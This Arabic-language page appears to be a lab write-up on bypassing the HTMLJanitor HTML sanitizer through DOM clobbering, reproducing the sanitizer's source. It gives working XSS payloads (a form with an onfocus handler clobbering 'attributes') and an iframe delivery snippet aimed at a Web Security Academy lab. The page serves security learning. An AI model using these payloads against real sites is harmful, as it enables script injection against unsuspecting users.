> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/dom/html-filter-bypass-via-dom-clobbering.md).

# تجاوز فلتر HTML عبر DOM Clobbering

### التلاعب بسمات DOM لتجاوز مرشحات HTML

استخدم ثغرة في **HTMLJanitor** المكتبة (المستخدمة بواسطة `loadCommentsWithHtmlJanitor`) لتجاوز تصفية HTML عبر **التلاعب بـ DOM** وإجبار `print()` على التنفيذ في متصفح الضحية. قد يتطلب التنفيذ التلقائي استخدام خادم الاستغلال.

تستخدم الصفحة **HTMLJanitor** لتنظيف HTML الخاص بالمستخدم. أداة التنظيف:

<figure><img src="/files/5970e0c935d2378547651581abc6cb985c607ce3" alt=""><figcaption></figcaption></figure>

* تنشئ مستندًا معزولًا (`document.implementation.createHTMLDocument('')`) وتحقن HTML المراد تنظيفه؛
* يتنقل عبر الشجرة باستخدام `TreeWalker` ويطبّق قواعد التصفية على العقد والسمات؛
* يحذف التعليقات ويفكك بعض العناصر غير المصرح بها، مع إعادة إدراج العناصر الفرعية عند رفض الوسم؛
* يتحقق من صحة السمات وفقًا لـ `config.tags` الإعدادات ويزيل السمات غير المصرح بها.

```javascript
(function (root, factory) {
  if (typeof define === 'function' && define.amd) {
    define('html-janitor', factory);
  } else if (typeof exports === 'object') {
    module.exports = factory();
  } else {
    root.HTMLJanitor = factory();
  }
}(this, function () {

  /**
   * @param {Object} config.tags قاموس الوسوم المسموح بها.
   * @param {boolean} config.keepNestedBlockElements القيمة الافتراضية false.
   */
  function HTMLJanitor(config) {

    var tagDefinitions = config['tags'];
    var tags = Object.keys(tagDefinitions);

    var validConfigValues = tags
      .map(function(k) { return typeof tagDefinitions[k]; })
      .every(function(type) { return type === 'object' || type === 'boolean' || type === 'function'; });

    if(!validConfigValues) {
      throw new Error("كان التكوين غير صالح");
    }

    this.config = config;
  }

  var blockElementNames = ['P', 'LI', 'TD', 'TH', 'DIV', 'H1', 'H2', 'H3', 'H4', 'H5', 'H6', 'PRE'];
  function isBlockElement(node) {
    return blockElementNames.indexOf(node.nodeName) !== -1;
  }

  var inlineElementNames = ['A', 'B', 'STRONG', 'I', 'EM', 'SUB', 'SUP', 'U', 'STRIKE'];
  function isInlineElement(node) {
    return inlineElementNames.indexOf(node.nodeName) !== -1;
  }

  HTMLJanitor.prototype.clean = function (html) {
    const sandbox = document.implementation.createHTMLDocument('');
    const root = sandbox.createElement("div");
    root.innerHTML = html;

    this._sanitize(sandbox, root);

    return root.innerHTML;
  };

  HTMLJanitor.prototype._sanitize = function (document, parentNode) {
    var treeWalker = createTreeWalker(document, parentNode);
    var node = treeWalker.firstChild();

    if (!node) { return; }

    do {
      if (node.nodeType === Node.TEXT_NODE) {
        // إذا كانت عقدة النص هذه مجرد مسافات بيضاء وكان العنصر السابق أو التالي
        // الشقيق عنصرًا كتليًا، فاحذفه
        // ملاحظة: قد تتغير هذه القاعدة الاستدلالية. وهي خاصة جدًا بخطأ في
        // `contenteditable` في Firefox: http://jsbin.com/EyuKase/1/edit?js,output
        // إصلاح: هل نجعل هذا خيارًا؟
        if (node.data.trim() === ''
            && ((node.previousElementSibling && isBlockElement(node.previousElementSibling))
                 || (node.nextElementSibling && isBlockElement(node.nextElementSibling)))) {
          parentNode.removeChild(node);
          this._sanitize(document, parentNode);
          break;
        } else {
          continue;
        }
      }

      // احذف جميع التعليقات
      if (node.nodeType === Node.COMMENT_NODE) {
        parentNode.removeChild(node);
        this._sanitize(document, parentNode);
        break;
      }

      var isInline = isInlineElement(node);
      var containsBlockElement;
      if (isInline) {
        containsBlockElement = Array.prototype.some.call(node.childNodes, isBlockElement);
      }

      // لا ينبغي تداخل العناصر الكتلية (مثل <li><p>...); إذا
      // حدث ذلك، فنريد إزالة التغليف عن العنصر الكتلي الداخلي.
      var isNotTopContainer = !! parentNode.parentNode;
      var isNestedBlockElement =
            isBlockElement(parentNode) &&
            isBlockElement(node) &&
            isNotTopContainer;

      var nodeName = node.nodeName.toLowerCase();

      var allowedAttrs = getAllowedAttrs(this.config, nodeName, node);

      var isInvalid = isInline && containsBlockElement;

      // تجاهل الوسم بالكامل وفقًا للقائمة البيضاء *وأيضًا* إذا كانت العلامات
      // غير صالحة.
      if (isInvalid || shouldRejectNode(node, allowedAttrs)
          || (!this.config.keepNestedBlockElements && isNestedBlockElement)) {
        // لا تحتفظ بالنص الداخلي لعناصر SCRIPT/STYLE.
        if (! (node.nodeName === 'SCRIPT' || node.nodeName === 'STYLE')) {
          while (node.childNodes.length > 0) {
            parentNode.insertBefore(node.childNodes[0], node);
          }
        }
        parentNode.removeChild(node);

        this._sanitize(document, parentNode);
        break;
      }

      // نظّف السمات
      for (var a = 0; a < node.attributes.length; a += 1) {
        var attr = node.attributes[a];

        if (shouldRejectAttr(attr, allowedAttrs, node)) {
          node.removeAttribute(attr.name);
          // حرّك المصفوفة لمتابعة التكرار.
          a = a - 1;
        }
      }

      // نظّف العناصر الفرعية
      this._sanitize(document, node);

    } while ((node = treeWalker.nextSibling()));
  };

  function createTreeWalker(document, node) {
    return document.createTreeWalker(node,
                                     NodeFilter.SHOW_TEXT | NodeFilter.SHOW_ELEMENT | NodeFilter.SHOW_COMMENT,
                                     null, false);
  }

  function getAllowedAttrs(config, nodeName, node){
    if (typeof config.tags[nodeName] === 'function') {
      return config.tags[nodeName](node);
    } else {
      return config.tags[nodeName];
    }
  }

  function shouldRejectNode(node, allowedAttrs){
    if (typeof allowedAttrs === 'undefined') {
      return true;
    } else if (typeof allowedAttrs === 'boolean') {
      return !allowedAttrs;
    }

    return false;
  }

  function shouldRejectAttr(attr, allowedAttrs, node){
    var attrName = attr.name.toLowerCase();

    if (allowedAttrs === true){
      return false;
    } else if (typeof allowedAttrs[attrName] === 'function'){
      return !allowedAttrs[attrName](attr.value, node);
    } else if (typeof allowedAttrs[attrName] === 'undefined'){
      return true;
    } else if (allowedAttrs[attrName] === false) {
      return true;
    } else if (typeof allowedAttrs[attrName] === 'string') {
      return (allowedAttrs[attrName] !== attr.value);
    }

    return false;
  }

  return HTMLJanitor;

}));
```

* المبدأ: حقن مقطع HTML ينشئ أو يستبدل معرّف عنصر يتوقعه سكربت الصفحة (مثل `<form id="x" tabindex=0 onfocus=...>`). ومن خلال التلاعب بالتنقل (الهاش `#x`) أو فرض التركيز، يتم تشغيل سمة الحدث.

```html
<html>
<form id=x tabindex=0 onfocus=alert(0)>
<input id=attributes>
</form>
</html>
```

<figure><img src="/files/d34f32965e766218488194618d8dc2571867b49a" alt=""><figcaption></figcaption></figure>

* النسخة النهائية للهدف (`print()`):

```html
<html>
<form id=x tabindex=0 onfocus=print()>
<input id=attributes>
</form>
</html>
```

<figure><img src="/files/24b6c20c72fb65b44288ed77a65779834635ace4" alt=""><figcaption></figcaption></figure>

* التشغيل التلقائي عبر iframe مستضاف على خادم الاستغلال: يقوم iframe بتحميل الصفحة الضعيفة ثم يعدّل `src` لإضافة `#x`، مما يؤدي إلى التركيز وتنفيذ `onfocus` المعالج. مثال على فكرة استخدام خادم الاستغلال:

{% code overflow="wrap" %}

```javascript
<iframe src="https://0a790035036b319583a1731200e90039.web-security-academy.net/post?postId=9 onload="setTimeout() => this.src += '#x',500;></iframe>
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/dom/html-filter-bypass-via-dom-clobbering.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
